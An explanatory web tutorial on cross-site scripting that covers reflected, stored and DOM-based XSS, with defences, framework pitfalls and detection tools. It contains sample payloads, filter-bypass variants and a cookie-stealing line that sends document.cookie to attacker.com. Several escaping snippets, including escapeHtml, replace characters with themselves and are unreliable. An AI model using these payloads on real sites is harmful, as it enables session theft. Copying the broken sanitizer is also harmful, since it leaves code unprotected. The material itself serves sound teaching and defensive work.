The basic principle of XSS attacks
Basic Principles of XSS Attacks
XSS (Cross-Site Scripting) is a common cybersecurity vulnerability where attackers inject malicious scripts into web pages, causing other users to execute these scripts when browsing the page. This type of attack typically occurs when user-inputted data is directly embedded into web content without proper filtering or escaping.
Types of XSS Attacks
Reflected XSS
Reflected XSS is the most common form, where attackers append malicious scripts as parameters to a URL. When a user clicks the link, the server returns the parameter value directly to the browser for execution. For example:
http://example.com/search?query=<script>alert('XSS')</script>
If the server inserts the query
parameter value directly into the HTML without any processing, the script will be executed.
Stored XSS
In stored XSS, the malicious script is permanently stored on the target server, such as in a database or file system. When other users visit a page containing this data, the script is executed. A typical scenario is forums or comment systems:
<script>alert('Stored XSS')</script>
If user-submitted comments are stored and displayed to other users without processing, stored XSS can occur.
DOM-based XSS
DOM-based XSS occurs entirely on the client side and does not involve the server. Attackers execute malicious scripts by modifying the DOM environment. For example:
document.write('<script>alert("DOM XSS")</script>');
If the page retrieves data from URL parameters or other user-controllable sources and directly manipulates the DOM, DOM-based XSS may occur.
Consequences of XSS Attacks
XSS attacks can lead to severe consequences:
-
Stealing User Cookies: Attackers can access user session information via
document.cookie
.new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie;
-
Session Hijacking: After obtaining session IDs, attackers can impersonate users to log into systems.
-
Modifying Page Content: Injected scripts can arbitrarily alter the page DOM, such as inserting fake forms or links.
-
Launching CSRF Attacks: Combining XSS and CSRF, attackers can perform sensitive operations as the user.
Defense Measures Against XSS Attacks
Input Filtering
Strictly validate and filter all user input, removing or escaping potentially malicious characters. For example:
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
Output Encoding
When inserting user input into HTML, proper encoding is essential:
- HTML entity encoding: Escape
<
as<
- JavaScript encoding: Escape
'
as\'
- URL encoding: Encode URL parameters
Using Content Security Policy (CSP)
CSP is a powerful defense mechanism that specifies which resources can be loaded and executed via HTTP headers:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
HttpOnly Cookie
Mark cookies as HttpOnly to prevent JavaScript access:
Set-Cookie: sessionid=12345; HttpOnly; Secure
Real-World Case Studies
Case 1: Simple Reflected XSS
Assume a search page has the following code:
<input type="text" value="<?php echo $_GET['query']; ?>">
An attacker can construct the URL:
http://example.com/search?query="><script>alert(1)</script>
Case 2: DOM-based XSS
The following code retrieves parameters from the URL and writes them directly to the DOM:
document.getElementById('output').innerHTML = location.hash.substring(1);
An attacker can construct:
http://example.com#<img src=x onerror=alert(1)>
Protection in Modern Frontend Frameworks
Modern frontend frameworks like React, Vue, and Angular provide default XSS protection:
-
React automatically escapes all variables inserted into JSX:
const userInput = '<script>alert(1)</script>'; return <div>{userInput}</div>; // Escaped as text
-
Vue's
v-bind
and{{ }}
also perform automatic HTML escaping.
However, certain features of these frameworks may bypass protection:
// Dangerous! May still cause XSS
<div dangerouslySetInnerHTML={{ __html: userInput }} />
Advanced Attack Techniques
Bypassing Filters
Attackers often use various methods to bypass filters:
-
Mixed case:
<ScRiPt>alert(1)</ScRiPt>
-
HTML entities:
<script>alert(1)</script>
-
JavaScript pseudo-protocols:
<a href="javascript:alert(1)">Click me</a>
Event-Based XSS
Execute scripts using HTML event attributes:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Automated Detection Tools
The following tools can detect XSS vulnerabilities:
- OWASP ZAP
- Burp Suite
- XSS Hunter (for blind testing)
- DOM Invader (Chrome extension)
Best Practices in Development
- Never trust user input.
- Use template engines' automatic escaping features.
- Implement strict CSP policies.
- Conduct regular security audits.
- Provide security awareness training for teams.
Browser Security Mechanisms
Modern browsers offer built-in XSS protections:
-
X-XSS-Protection: Deprecated but still supported by some browsers.
X-XSS-Protection: 1; mode=block
-
Trusted Types: A new API that restricts dangerous DOM operations.
if (window.trustedTypes && window.trustedTypes.createPolicy) { const policy = trustedTypes.createPolicy('default', { createHTML: string => string.replace(/</g, '<') }); }
Server-Side Protection
In addition to client-side measures, server-side protections are essential:
- Set secure HTTP headers.
- Validate and sanitize all input.
- Use parameterized queries to prevent SQL injection.
- Log and monitor suspicious activities.
Real-World XSS Vulnerabilities
Many well-known websites have experienced XSS attacks:
- Twitter's TweetDeck cross-site scripting vulnerability (2014).
- eBay's stored XSS (2015).
- Google's DOM XSS (2017).
These cases demonstrate that even large companies can overlook XSS protections.
本站部分内容来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了你的权益请来信告知我们删除。邮箱:cc@cccx.cn
上一篇:相关法律法规与合规要求
下一篇:反射型 XSS(非持久型)